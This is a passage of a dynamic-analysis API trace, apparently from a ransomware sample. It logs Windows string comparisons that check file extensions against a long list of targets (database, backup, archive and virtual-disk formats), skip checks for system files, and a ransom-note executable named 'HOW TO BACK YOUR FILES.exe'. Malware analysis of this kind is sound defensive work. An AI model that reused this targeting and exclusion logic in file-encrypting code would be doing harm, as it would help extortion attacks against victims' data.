	[0059.951] lstrcmpiW (lpString1="are.asfx", lpString2="sqlitedb") returned -1
	[0059.951] lstrlenW (lpString="xml") returned 3
	[0059.951] lstrcmpiW (lpString1="sfx", lpString2="xml") returned -1
	[0059.951] lstrlenW (lpString="$er") returned 3
	[0059.951] lstrcmpiW (lpString1="sfx", lpString2="$er") returned 1
	[0059.951] lstrlenW (lpString="4dd") returned 3
	[0059.951] lstrcmpiW (lpString1="sfx", lpString2="4dd") returned 1
	[0059.951] lstrlenW (lpString="4dl") returned 3
	[0059.951] lstrcmpiW (lpString1="sfx", lpString2="4dl") returned 1
	[0059.951] lstrlenW (lpString="^^^") returned 3
	[0059.951] lstrcmpiW (lpString1="sfx", lpString2="^^^") returned 1
	[0059.951] lstrlenW (lpString="abs") returned 3
	[0059.951] lstrcmpiW (lpString1="sfx", lpString2="abs") returned 1
	[0059.951] lstrlenW (lpString="abx") returned 3
	[0059.951] lstrcmpiW (lpString1="sfx", lpString2="abx") returned 1
	[0059.951] lstrlenW (lpString="accdb") returned 5
	[0059.951] lstrcmpiW (lpString1=".asfx", lpString2="accdb") returned -1
	[0059.951] lstrlenW (lpString="accdc") returned 5
	[0059.951] lstrcmpiW (lpString1=".asfx", lpString2="accdc") returned -1
	[0059.951] lstrlenW (lpString="accde") returned 5
	[0059.951] lstrcmpiW (lpString1=".asfx", lpString2="accde") returned -1
	[0059.951] lstrlenW (lpString="accdr") returned 5
	[0059.951] lstrcmpiW (lpString1=".asfx", lpString2="accdr") returned -1
	[0059.951] lstrlenW (lpString="accdt") returned 5
	[0059.951] lstrcmpiW (lpString1=".asfx", lpString2="accdt") returned -1
	[0059.951] lstrlenW (lpString="accdw") returned 5
	[0059.951] lstrcmpiW (lpString1=".asfx", lpString2="accdw") returned -1
	[0059.952] lstrlenW (lpString="accft") returned 5
	[0059.952] lstrcmpiW (lpString1=".asfx", lpString2="accft") returned -1
	[0059.952] lstrlenW (lpString="adb") returned 3
	[0059.952] lstrcmpiW (lpString1="sfx", lpString2="adb") returned 1
	[0059.952] lstrlenW (lpString="adb") returned 3
	[0059.952] lstrcmpiW (lpString1="sfx", lpString2="adb") returned 1
	[0059.952] lstrlenW (lpString="ade") returned 3
	[0059.952] lstrcmpiW (lpString1="sfx", lpString2="ade") returned 1
	[0059.952] lstrlenW (lpString="adf") returned 3
	[0059.952] lstrcmpiW (lpString1="sfx", lpString2="adf") returned 1
	[0059.952] lstrlenW (lpString="adn") returned 3
	[0059.952] lstrcmpiW (lpString1="sfx", lpString2="adn") returned 1
	[0059.952] lstrlenW (lpString="adp") returned 3
	[0059.952] lstrcmpiW (lpString1="sfx", lpString2="adp") returned 1
	[0059.952] lstrlenW (lpString="alf") returned 3
	[0059.952] lstrcmpiW (lpString1="sfx", lpString2="alf") returned 1
	[0059.952] lstrlenW (lpString="ask") returned 3
	[0059.952] lstrcmpiW (lpString1="sfx", lpString2="ask") returned 1
	[0059.952] lstrlenW (lpString="btr") returned 3
	[0059.952] lstrcmpiW (lpString1="sfx", lpString2="btr") returned 1
	[0059.952] lstrlenW (lpString="cat") returned 3
	[0059.952] lstrcmpiW (lpString1="sfx", lpString2="cat") returned 1
	[0059.952] lstrlenW (lpString="cdb") returned 3
	[0059.952] lstrcmpiW (lpString1="sfx", lpString2="cdb") returned 1
	[0059.952] lstrlenW (lpString="ckp") returned 3
	[0059.952] lstrcmpiW (lpString1="sfx", lpString2="ckp") returned 1
	[0059.952] lstrlenW (lpString="cma") returned 3
	[0059.952] lstrcmpiW (lpString1="sfx", lpString2="cma") returned 1
	[0059.952] lstrlenW (lpString="cpd") returned 3
	[0059.952] lstrcmpiW (lpString1="sfx", lpString2="cpd") returned 1
	[0059.952] lstrlenW (lpString="dacpac") returned 6
	[0059.952] lstrcmpiW (lpString1="e.asfx", lpString2="dacpac") returned 1
	[0059.952] lstrlenW (lpString="dad") returned 3
	[0059.952] lstrcmpiW (lpString1="sfx", lpString2="dad") returned 1
	[0059.953] lstrlenW (lpString="dadiagrams") returned 10
	[0059.953] lstrcmpiW (lpString1="Share.asfx", lpString2="dadiagrams") returned 1
	[0059.953] lstrlenW (lpString="daschema") returned 8
	[0059.953] lstrcmpiW (lpString1="are.asfx", lpString2="daschema") returned -1
	[0059.953] lstrlenW (lpString="db-journal") returned 10
	[0059.953] lstrcmpiW (lpString1="Share.asfx", lpString2="db-journal") returned 1
	[0059.953] lstrlenW (lpString="db-shm") returned 6
	[0059.953] lstrcmpiW (lpString1="e.asfx", lpString2="db-shm") returned 1
	[0059.953] lstrlenW (lpString="db-wal") returned 6
	[0059.953] lstrcmpiW (lpString1="e.asfx", lpString2="db-wal") returned 1
	[0059.953] lstrlenW (lpString="dbc") returned 3
	[0059.953] lstrcmpiW (lpString1="sfx", lpString2="dbc") returned 1
	[0059.953] lstrlenW (lpString="dbs") returned 3
	[0059.953] lstrcmpiW (lpString1="sfx", lpString2="dbs") returned 1
	[0059.953] lstrlenW (lpString="dbt") returned 3
	[0059.953] lstrcmpiW (lpString1="sfx", lpString2="dbt") returned 1
	[0059.953] lstrlenW (lpString="dbv") returned 3
	[0059.953] lstrcmpiW (lpString1="sfx", lpString2="dbv") returned 1
	[0059.953] lstrlenW (lpString="dbx") returned 3
	[0059.953] lstrcmpiW (lpString1="sfx", lpString2="dbx") returned 1
	[0059.953] lstrlenW (lpString="dcb") returned 3
	[0059.953] lstrcmpiW (lpString1="sfx", lpString2="dcb") returned 1
	[0059.953] lstrlenW (lpString="dct") returned 3
	[0059.953] lstrcmpiW (lpString1="sfx", lpString2="dct") returned 1
	[0059.953] lstrlenW (lpString="dcx") returned 3
	[0059.953] lstrcmpiW (lpString1="sfx", lpString2="dcx") returned 1
	[0059.953] lstrlenW (lpString="ddl") returned 3
	[0059.953] lstrcmpiW (lpString1="sfx", lpString2="ddl") returned 1
	[0059.953] lstrlenW (lpString="dlis") returned 4
	[0059.953] lstrcmpiW (lpString1="asfx", lpString2="dlis") returned -1
	[0059.953] lstrlenW (lpString="dp1") returned 3
	[0059.953] lstrcmpiW (lpString1="sfx", lpString2="dp1") returned 1
	[0059.953] lstrlenW (lpString="dqy") returned 3
	[0059.953] lstrcmpiW (lpString1="sfx", lpString2="dqy") returned 1
	[0059.954] lstrlenW (lpString="dsk") returned 3
	[0059.954] lstrcmpiW (lpString1="sfx", lpString2="dsk") returned 1
	[0059.954] lstrlenW (lpString="dsn") returned 3
	[0059.954] lstrcmpiW (lpString1="sfx", lpString2="dsn") returned 1
	[0059.954] lstrlenW (lpString="dtsx") returned 4
	[0059.954] lstrcmpiW (lpString1="asfx", lpString2="dtsx") returned -1
	[0059.954] lstrlenW (lpString="dxl") returned 3
	[0059.954] lstrcmpiW (lpString1="sfx", lpString2="dxl") returned 1
	[0059.954] lstrlenW (lpString="eco") returned 3
	[0059.954] lstrcmpiW (lpString1="sfx", lpString2="eco") returned 1
	[0059.954] lstrlenW (lpString="ecx") returned 3
	[0059.954] lstrcmpiW (lpString1="sfx", lpString2="ecx") returned 1
	[0059.954] lstrlenW (lpString="edb") returned 3
	[0059.954] lstrcmpiW (lpString1="sfx", lpString2="edb") returned 1
	[0059.954] lstrlenW (lpString="epim") returned 4
	[0059.954] lstrcmpiW (lpString1="asfx", lpString2="epim") returned -1
	[0059.954] lstrlenW (lpString="fcd") returned 3
	[0059.954] lstrcmpiW (lpString1="sfx", lpString2="fcd") returned 1
	[0059.954] lstrlenW (lpString="fdb") returned 3
	[0059.954] lstrcmpiW (lpString1="sfx", lpString2="fdb") returned 1
	[0059.954] lstrlenW (lpString="fic") returned 3
	[0059.954] lstrcmpiW (lpString1="sfx", lpString2="fic") returned 1
	[0059.954] lstrlenW (lpString="flexolibrary") returned 12
	[0059.954] lstrcmpiW (lpString1="EXShare.asfx", lpString2="flexolibrary") returned -1
	[0059.954] lstrlenW (lpString="fm5") returned 3
	[0059.954] lstrcmpiW (lpString1="sfx", lpString2="fm5") returned 1
	[0059.954] lstrlenW (lpString="fmp") returned 3
	[0059.954] lstrcmpiW (lpString1="sfx", lpString2="fmp") returned 1
	[0059.954] lstrlenW (lpString="fmp12") returned 5
	[0059.954] lstrcmpiW (lpString1=".asfx", lpString2="fmp12") returned -1
	[0059.954] lstrlenW (lpString="fmpsl") returned 5
	[0059.954] lstrcmpiW (lpString1=".asfx", lpString2="fmpsl") returned -1
	[0059.954] lstrlenW (lpString="fol") returned 3
	[0059.954] lstrcmpiW (lpString1="sfx", lpString2="fol") returned 1
	[0059.955] lstrlenW (lpString="fp3") returned 3
	[0059.955] lstrcmpiW (lpString1="sfx", lpString2="fp3") returned 1
	[0059.955] lstrlenW (lpString="fp4") returned 3
	[0059.955] lstrcmpiW (lpString1="sfx", lpString2="fp4") returned 1
	[0059.955] lstrlenW (lpString="fp5") returned 3
	[0059.955] lstrcmpiW (lpString1="sfx", lpString2="fp5") returned 1
	[0059.955] lstrlenW (lpString="fp7") returned 3
	[0059.955] lstrcmpiW (lpString1="sfx", lpString2="fp7") returned 1
	[0059.955] lstrlenW (lpString="fpt") returned 3
	[0059.955] lstrcmpiW (lpString1="sfx", lpString2="fpt") returned 1
	[0059.955] lstrlenW (lpString="frm") returned 3
	[0059.955] lstrcmpiW (lpString1="sfx", lpString2="frm") returned 1
	[0059.955] lstrlenW (lpString="gdb") returned 3
	[0059.955] lstrcmpiW (lpString1="sfx", lpString2="gdb") returned 1
	[0059.955] lstrlenW (lpString="gdb") returned 3
	[0059.955] lstrcmpiW (lpString1="sfx", lpString2="gdb") returned 1
	[0059.955] lstrlenW (lpString="grdb") returned 4
	[0059.955] lstrcmpiW (lpString1="asfx", lpString2="grdb") returned -1
	[0059.955] lstrlenW (lpString="gwi") returned 3
	[0059.955] lstrcmpiW (lpString1="sfx", lpString2="gwi") returned 1
	[0059.955] lstrlenW (lpString="hdb") returned 3
	[0059.955] lstrcmpiW (lpString1="sfx", lpString2="hdb") returned 1
	[0059.955] lstrlenW (lpString="his") returned 3
	[0059.955] lstrcmpiW (lpString1="sfx", lpString2="his") returned 1
	[0059.955] lstrlenW (lpString="ib") returned 2
	[0059.955] lstrcmpiW (lpString1="fx", lpString2="ib") returned -1
	[0059.955] lstrlenW (lpString="idb") returned 3
	[0059.955] lstrcmpiW (lpString1="sfx", lpString2="idb") returned 1
	[0059.955] lstrlenW (lpString="ihx") returned 3
	[0059.955] lstrcmpiW (lpString1="sfx", lpString2="ihx") returned 1
	[0059.955] lstrlenW (lpString="itdb") returned 4
	[0059.955] lstrcmpiW (lpString1="asfx", lpString2="itdb") returned -1
	[0059.955] lstrlenW (lpString="itw") returned 3
	[0059.955] lstrcmpiW (lpString1="sfx", lpString2="itw") returned 1
	[0059.955] lstrlenW (lpString="jet") returned 3
	[0059.956] lstrcmpiW (lpString1="sfx", lpString2="jet") returned 1
	[0059.956] lstrlenW (lpString="jtx") returned 3
	[0059.956] lstrcmpiW (lpString1="sfx", lpString2="jtx") returned 1
	[0059.956] lstrlenW (lpString="kdb") returned 3
	[0059.956] lstrcmpiW (lpString1="sfx", lpString2="kdb") returned 1
	[0059.956] lstrlenW (lpString="kexi") returned 4
	[0059.956] lstrcmpiW (lpString1="asfx", lpString2="kexi") returned -1
	[0059.956] lstrlenW (lpString="kexic") returned 5
	[0059.956] lstrcmpiW (lpString1=".asfx", lpString2="kexic") returned -1
	[0059.956] lstrlenW (lpString="kexis") returned 5
	[0059.956] lstrcmpiW (lpString1=".asfx", lpString2="kexis") returned -1
	[0059.956] lstrlenW (lpString="lgc") returned 3
	[0059.956] lstrcmpiW (lpString1="sfx", lpString2="lgc") returned 1
	[0059.956] lstrlenW (lpString="lwx") returned 3
	[0059.956] lstrcmpiW (lpString1="sfx", lpString2="lwx") returned 1
	[0059.956] lstrlenW (lpString="maf") returned 3
	[0059.956] lstrcmpiW (lpString1="sfx", lpString2="maf") returned 1
	[0059.956] lstrlenW (lpString="maq") returned 3
	[0059.956] lstrcmpiW (lpString1="sfx", lpString2="maq") returned 1
	[0059.956] lstrlenW (lpString="mar") returned 3
	[0059.956] lstrcmpiW (lpString1="sfx", lpString2="mar") returned 1
	[0059.956] lstrlenW (lpString="marshal") returned 7
	[0059.956] lstrcmpiW (lpString1="re.asfx", lpString2="marshal") returned 1
	[0059.956] lstrlenW (lpString="mas") returned 3
	[0059.956] lstrcmpiW (lpString1="sfx", lpString2="mas") returned 1
	[0059.956] lstrlenW (lpString="mav") returned 3
	[0059.956] lstrcmpiW (lpString1="sfx", lpString2="mav") returned 1
	[0059.956] lstrlenW (lpString="maw") returned 3
	[0059.956] lstrcmpiW (lpString1="sfx", lpString2="maw") returned 1
	[0059.956] lstrlenW (lpString="mdbhtml") returned 7
	[0059.956] lstrcmpiW (lpString1="re.asfx", lpString2="mdbhtml") returned 1
	[0059.956] lstrlenW (lpString="mdn") returned 3
	[0059.956] lstrcmpiW (lpString1="sfx", lpString2="mdn") returned 1
	[0059.956] lstrlenW (lpString="mdt") returned 3
	[0059.956] lstrcmpiW (lpString1="sfx", lpString2="mdt") returned 1
	[0059.956] lstrlenW (lpString="mfd") returned 3
	[0059.957] lstrcmpiW (lpString1="sfx", lpString2="mfd") returned 1
	[0059.957] lstrlenW (lpString="mpd") returned 3
	[0059.957] lstrcmpiW (lpString1="sfx", lpString2="mpd") returned 1
	[0059.957] lstrlenW (lpString="mrg") returned 3
	[0059.957] lstrcmpiW (lpString1="sfx", lpString2="mrg") returned 1
	[0059.957] lstrlenW (lpString="mud") returned 3
	[0059.957] lstrcmpiW (lpString1="sfx", lpString2="mud") returned 1
	[0059.957] lstrlenW (lpString="mwb") returned 3
	[0059.957] lstrcmpiW (lpString1="sfx", lpString2="mwb") returned 1
	[0059.957] lstrlenW (lpString="myd") returned 3
	[0059.957] lstrcmpiW (lpString1="sfx", lpString2="myd") returned 1
	[0059.957] lstrlenW (lpString="ndf") returned 3
	[0059.957] lstrcmpiW (lpString1="sfx", lpString2="ndf") returned 1
	[0059.957] lstrlenW (lpString="nnt") returned 3
	[0059.957] lstrcmpiW (lpString1="sfx", lpString2="nnt") returned 1
	[0059.957] lstrlenW (lpString="nrmlib") returned 6
	[0059.957] lstrcmpiW (lpString1="e.asfx", lpString2="nrmlib") returned -1
	[0059.957] lstrlenW (lpString="ns2") returned 3
	[0059.957] lstrcmpiW (lpString1="sfx", lpString2="ns2") returned 1
	[0059.957] lstrlenW (lpString="ns3") returned 3
	[0059.957] lstrcmpiW (lpString1="sfx", lpString2="ns3") returned 1
	[0059.957] lstrlenW (lpString="ns4") returned 3
	[0059.957] lstrcmpiW (lpString1="sfx", lpString2="ns4") returned 1
	[0059.957] lstrlenW (lpString="nsf") returned 3
	[0059.957] lstrcmpiW (lpString1="sfx", lpString2="nsf") returned 1
	[0059.957] lstrlenW (lpString="nv") returned 2
	[0059.957] lstrcmpiW (lpString1="fx", lpString2="nv") returned -1
	[0059.957] lstrlenW (lpString="nv2") returned 3
	[0059.957] lstrcmpiW (lpString1="sfx", lpString2="nv2") returned 1
	[0059.957] lstrlenW (lpString="nwdb") returned 4
	[0059.957] lstrcmpiW (lpString1="asfx", lpString2="nwdb") returned -1
	[0059.957] lstrlenW (lpString="nyf") returned 3
	[0059.957] lstrcmpiW (lpString1="sfx", lpString2="nyf") returned 1
	[0059.958] lstrlenW (lpString="odb") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="odb") returned 1
	[0059.958] lstrlenW (lpString="odb") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="odb") returned 1
	[0059.958] lstrlenW (lpString="oqy") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="oqy") returned 1
	[0059.958] lstrlenW (lpString="ora") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="ora") returned 1
	[0059.958] lstrlenW (lpString="orx") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="orx") returned 1
	[0059.958] lstrlenW (lpString="owc") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="owc") returned 1
	[0059.958] lstrlenW (lpString="p96") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="p96") returned 1
	[0059.958] lstrlenW (lpString="p97") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="p97") returned 1
	[0059.958] lstrlenW (lpString="pan") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="pan") returned 1
	[0059.958] lstrlenW (lpString="pdb") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="pdb") returned 1
	[0059.958] lstrlenW (lpString="pdm") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="pdm") returned 1
	[0059.958] lstrlenW (lpString="pnz") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="pnz") returned 1
	[0059.958] lstrlenW (lpString="qry") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="qry") returned 1
	[0059.958] lstrlenW (lpString="qvd") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="qvd") returned 1
	[0059.958] lstrlenW (lpString="rbf") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="rbf") returned 1
	[0059.958] lstrlenW (lpString="rctd") returned 4
	[0059.958] lstrcmpiW (lpString1="asfx", lpString2="rctd") returned -1
	[0059.958] lstrlenW (lpString="rod") returned 3
	[0059.958] lstrcmpiW (lpString1="sfx", lpString2="rod") returned 1
	[0059.958] lstrlenW (lpString="rodx") returned 4
	[0059.959] lstrcmpiW (lpString1="asfx", lpString2="rodx") returned -1
	[0059.959] lstrlenW (lpString="rpd") returned 3
	[0059.959] lstrcmpiW (lpString1="sfx", lpString2="rpd") returned 1
	[0059.959] lstrlenW (lpString="rsd") returned 3
	[0059.959] lstrcmpiW (lpString1="sfx", lpString2="rsd") returned 1
	[0059.959] lstrlenW (lpString="sas7bdat") returned 8
	[0059.959] lstrcmpiW (lpString1="are.asfx", lpString2="sas7bdat") returned -1
	[0059.959] lstrlenW (lpString="sbf") returned 3
	[0059.959] lstrcmpiW (lpString1="sfx", lpString2="sbf") returned 1
	[0059.959] lstrlenW (lpString="scx") returned 3
	[0059.959] lstrcmpiW (lpString1="sfx", lpString2="scx") returned 1
	[0059.959] lstrlenW (lpString="sdb") returned 3
	[0059.959] lstrcmpiW (lpString1="sfx", lpString2="sdb") returned 1
	[0059.959] lstrlenW (lpString="sdc") returned 3
	[0059.959] lstrcmpiW (lpString1="sfx", lpString2="sdc") returned 1
	[0059.959] lstrlenW (lpString="sdf") returned 3
	[0059.959] lstrcmpiW (lpString1="sfx", lpString2="sdf") returned 1
	[0059.959] lstrlenW (lpString="sis") returned 3
	[0059.959] lstrcmpiW (lpString1="sfx", lpString2="sis") returned -1
	[0059.959] lstrlenW (lpString="spq") returned 3
	[0059.959] lstrcmpiW (lpString1="sfx", lpString2="spq") returned -1
	[0059.959] lstrlenW (lpString="te") returned 2
	[0059.959] lstrcmpiW (lpString1="fx", lpString2="te") returned -1
	[0059.959] lstrlenW (lpString="teacher") returned 7
	[0059.959] lstrcmpiW (lpString1="re.asfx", lpString2="teacher") returned -1
	[0059.959] lstrlenW (lpString="tmd") returned 3
	[0059.959] lstrcmpiW (lpString1="sfx", lpString2="tmd") returned -1
	[0059.959] lstrlenW (lpString="tps") returned 3
	[0059.959] lstrcmpiW (lpString1="sfx", lpString2="tps") returned -1
	[0059.959] lstrlenW (lpString="trc") returned 3
	[0059.959] lstrcmpiW (lpString1="sfx", lpString2="trc") returned -1
	[0059.959] lstrlenW (lpString="trc") returned 3
	[0059.959] lstrcmpiW (lpString1="sfx", lpString2="trc") returned -1
	[0059.959] lstrlenW (lpString="trm") returned 3
	[0059.959] lstrcmpiW (lpString1="sfx", lpString2="trm") returned -1
	[0059.960] lstrlenW (lpString="udb") returned 3
	[0059.960] lstrcmpiW (lpString1="sfx", lpString2="udb") returned -1
	[0059.960] lstrlenW (lpString="udl") returned 3
	[0059.960] lstrcmpiW (lpString1="sfx", lpString2="udl") returned -1
	[0059.960] lstrlenW (lpString="usr") returned 3
	[0059.960] lstrcmpiW (lpString1="sfx", lpString2="usr") returned -1
	[0059.960] lstrlenW (lpString="v12") returned 3
	[0059.960] lstrcmpiW (lpString1="sfx", lpString2="v12") returned -1
	[0059.960] lstrlenW (lpString="vis") returned 3
	[0059.960] lstrcmpiW (lpString1="sfx", lpString2="vis") returned -1
	[0059.960] lstrlenW (lpString="vpd") returned 3
	[0059.960] lstrcmpiW (lpString1="sfx", lpString2="vpd") returned -1
	[0059.960] lstrlenW (lpString="vvv") returned 3
	[0059.960] lstrcmpiW (lpString1="sfx", lpString2="vvv") returned -1
	[0059.960] lstrlenW (lpString="wdb") returned 3
	[0059.960] lstrcmpiW (lpString1="sfx", lpString2="wdb") returned -1
	[0059.960] lstrlenW (lpString="wmdb") returned 4
	[0059.960] lstrcmpiW (lpString1="asfx", lpString2="wmdb") returned -1
	[0059.960] lstrlenW (lpString="wrk") returned 3
	[0059.960] lstrcmpiW (lpString1="sfx", lpString2="wrk") returned -1
	[0059.960] lstrlenW (lpString="xdb") returned 3
	[0059.960] lstrcmpiW (lpString1="sfx", lpString2="xdb") returned -1
	[0059.960] lstrlenW (lpString="xld") returned 3
	[0059.960] lstrcmpiW (lpString1="sfx", lpString2="xld") returned -1
	[0059.960] lstrlenW (lpString="xmlff") returned 5
	[0059.960] lstrcmpiW (lpString1=".asfx", lpString2="xmlff") returned -1
	[0059.960] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bcd56b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3bcd56b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0059.960] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0059.960] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1
	[0059.960] lstrcmpiW (lpString1="Services.asfx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.960] lstrcmpiW (lpString1="Services.asfx", lpString2="Apollon865.txt.exe") returned 1
	[0059.960] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1
	[0059.960] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1
	[0059.960] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1
	[0059.961] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1
	[0059.961] lstrcmpiW (lpString1="Services.asfx", lpString2="temp") returned -1
	[0059.961] lstrcmpiW (lpString1="Services.asfx", lpString2="pagefile.sys") returned 1
	[0059.961] lstrcmpiW (lpString1="Services.asfx", lpString2="boot") returned 1
	[0059.961] lstrcmpiW (lpString1="Services.asfx", lpString2="ids.txt") returned 1
	[0059.961] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1
	[0059.961] lstrcmpiW (lpString1="Services.asfx", lpString2="perflogs") returned 1
	[0059.961] lstrcmpiW (lpString1="Services.asfx", lpString2="MSBuild") returned 1
	[0059.961] lstrlenW (lpString="Services.asfx") returned 13
	[0059.961] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\DEXShare.asfx") returned 83
	[0059.961] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="Services.asfx" | out: lpString1="Services.asfx") returned="Services.asfx"
	[0059.961] lstrlenW (lpString="Services.asfx") returned 13
	[0059.961] lstrlenW (lpString="Apollon865") returned 10
	[0059.961] lstrcmpiW (lpString1="vices.asfx", lpString2="Apollon865") returned 1
	[0059.961] lstrlenW (lpString=".dll") returned 4
	[0059.961] lstrcmpiW (lpString1="Services.asfx", lpString2=".dll") returned 1
	[0059.961] lstrlenW (lpString=".lnk") returned 4
	[0059.961] lstrcmpiW (lpString1="Services.asfx", lpString2=".lnk") returned 1
	[0059.961] lstrlenW (lpString=".ini") returned 4
	[0059.961] lstrcmpiW (lpString1="Services.asfx", lpString2=".ini") returned 1
	[0059.961] lstrlenW (lpString=".sys") returned 4
	[0059.961] lstrcmpiW (lpString1="Services.asfx", lpString2=".sys") returned 1
	[0059.961] lstrlenW (lpString="Services.asfx") returned 13
	[0059.961] lstrlenW (lpString="bak") returned 3
	[0059.961] lstrcmpiW (lpString1="sfx", lpString2="bak") returned 1
	[0059.961] lstrlenW (lpString="ba_") returned 3
	[0059.961] lstrcmpiW (lpString1="sfx", lpString2="ba_") returned 1
	[0059.961] lstrlenW (lpString="dbb") returned 3
	[0059.961] lstrcmpiW (lpString1="sfx", lpString2="dbb") returned 1
	[0059.961] lstrlenW (lpString="vmdk") returned 4
	[0059.961] lstrcmpiW (lpString1="asfx", lpString2="vmdk") returned -1
	[0059.961] lstrlenW (lpString="rar") returned 3
	[0059.961] lstrcmpiW (lpString1="sfx", lpString2="rar") returned 1
	[0059.961] lstrlenW (lpString="zip") returned 3
	[0059.961] lstrcmpiW (lpString1="sfx", lpString2="zip") returned -1
	[0059.962] lstrlenW (lpString="tgz") returned 3
	[0059.962] lstrcmpiW (lpString1="sfx", lpString2="tgz") returned -1
	[0059.962] lstrlenW (lpString="vbox") returned 4
	[0059.962] lstrcmpiW (lpString1="asfx", lpString2="vbox") returned -1
	[0059.962] lstrlenW (lpString="vdi") returned 3
	[0059.962] lstrcmpiW (lpString1="sfx", lpString2="vdi") returned -1
	[0059.962] lstrlenW (lpString="vhd") returned 3
	[0059.962] lstrcmpiW (lpString1="sfx", lpString2="vhd") returned -1
	[0059.962] lstrlenW (lpString="vhdx") returned 4
	[0059.962] lstrcmpiW (lpString1="asfx", lpString2="vhdx") returned -1
	[0059.962] lstrlenW (lpString="avhd") returned 4
	[0059.962] lstrcmpiW (lpString1="asfx", lpString2="avhd") returned -1
	[0059.962] lstrlenW (lpString="db") returned 2
	[0059.962] lstrcmpiW (lpString1="fx", lpString2="db") returned 1
	[0059.962] lstrlenW (lpString="db2") returned 3
	[0059.962] lstrcmpiW (lpString1="sfx", lpString2="db2") returned 1
	[0059.962] lstrlenW (lpString="db3") returned 3
	[0059.962] lstrcmpiW (lpString1="sfx", lpString2="db3") returned 1
	[0059.962] lstrlenW (lpString="dbf") returned 3
	[0059.962] lstrcmpiW (lpString1="sfx", lpString2="dbf") returned 1
	[0059.962] lstrlenW (lpString="mdf") returned 3
	[0059.962] lstrcmpiW (lpString1="sfx", lpString2="mdf") returned 1
	[0059.962] lstrlenW (lpString="mdb") returned 3
	[0059.962] lstrcmpiW (lpString1="sfx", lpString2="mdb") returned 1
	[0059.962] lstrlenW (lpString="sql") returned 3
	[0059.962] lstrcmpiW (lpString1="sfx", lpString2="sql") returned -1
	[0059.962] lstrlenW (lpString="sqlite") returned 6
	[0059.962] lstrcmpiW (lpString1="s.asfx", lpString2="sqlite") returned -1
	[0059.962] lstrlenW (lpString="sqlite3") returned 7
	[0059.962] lstrcmpiW (lpString1="es.asfx", lpString2="sqlite3") returned -1
	[0059.962] lstrlenW (lpString="sqlitedb") returned 8
	[0059.962] lstrcmpiW (lpString1="ces.asfx", lpString2="sqlitedb") returned -1
	[0059.962] lstrlenW (lpString="xml") returned 3
	[0059.962] lstrcmpiW (lpString1="sfx", lpString2="xml") returned -1
	[0059.962] lstrlenW (lpString="$er") returned 3
	[0059.963] lstrcmpiW (lpString1="sfx", lpString2="$er") returned 1
	[0059.963] lstrlenW (lpString="4dd") returned 3
	[0059.963] lstrcmpiW (lpString1="sfx", lpString2="4dd") returned 1
	[0059.963] lstrlenW (lpString="4dl") returned 3
	[0059.963] lstrcmpiW (lpString1="sfx", lpString2="4dl") returned 1
	[0059.963] lstrlenW (lpString="^^^") returned 3
	[0059.963] lstrcmpiW (lpString1="sfx", lpString2="^^^") returned 1
	[0059.963] lstrlenW (lpString="abs") returned 3
	[0059.963] lstrcmpiW (lpString1="sfx", lpString2="abs") returned 1
	[0059.963] lstrlenW (lpString="abx") returned 3
	[0059.963] lstrcmpiW (lpString1="sfx", lpString2="abx") returned 1
	[0059.963] lstrlenW (lpString="accdb") returned 5
	[0059.963] lstrcmpiW (lpString1=".asfx", lpString2="accdb") returned -1
	[0059.963] lstrlenW (lpString="accdc") returned 5
	[0059.963] lstrcmpiW (lpString1=".asfx", lpString2="accdc") returned -1
	[0059.963] lstrlenW (lpString="accde") returned 5
	[0059.963] lstrcmpiW (lpString1=".asfx", lpString2="accde") returned -1
	[0059.963] lstrlenW (lpString="accdr") returned 5
	[0059.963] lstrcmpiW (lpString1=".asfx", lpString2="accdr") returned -1
	[0059.963] lstrlenW (lpString="accdt") returned 5
	[0059.963] lstrcmpiW (lpString1=".asfx", lpString2="accdt") returned -1
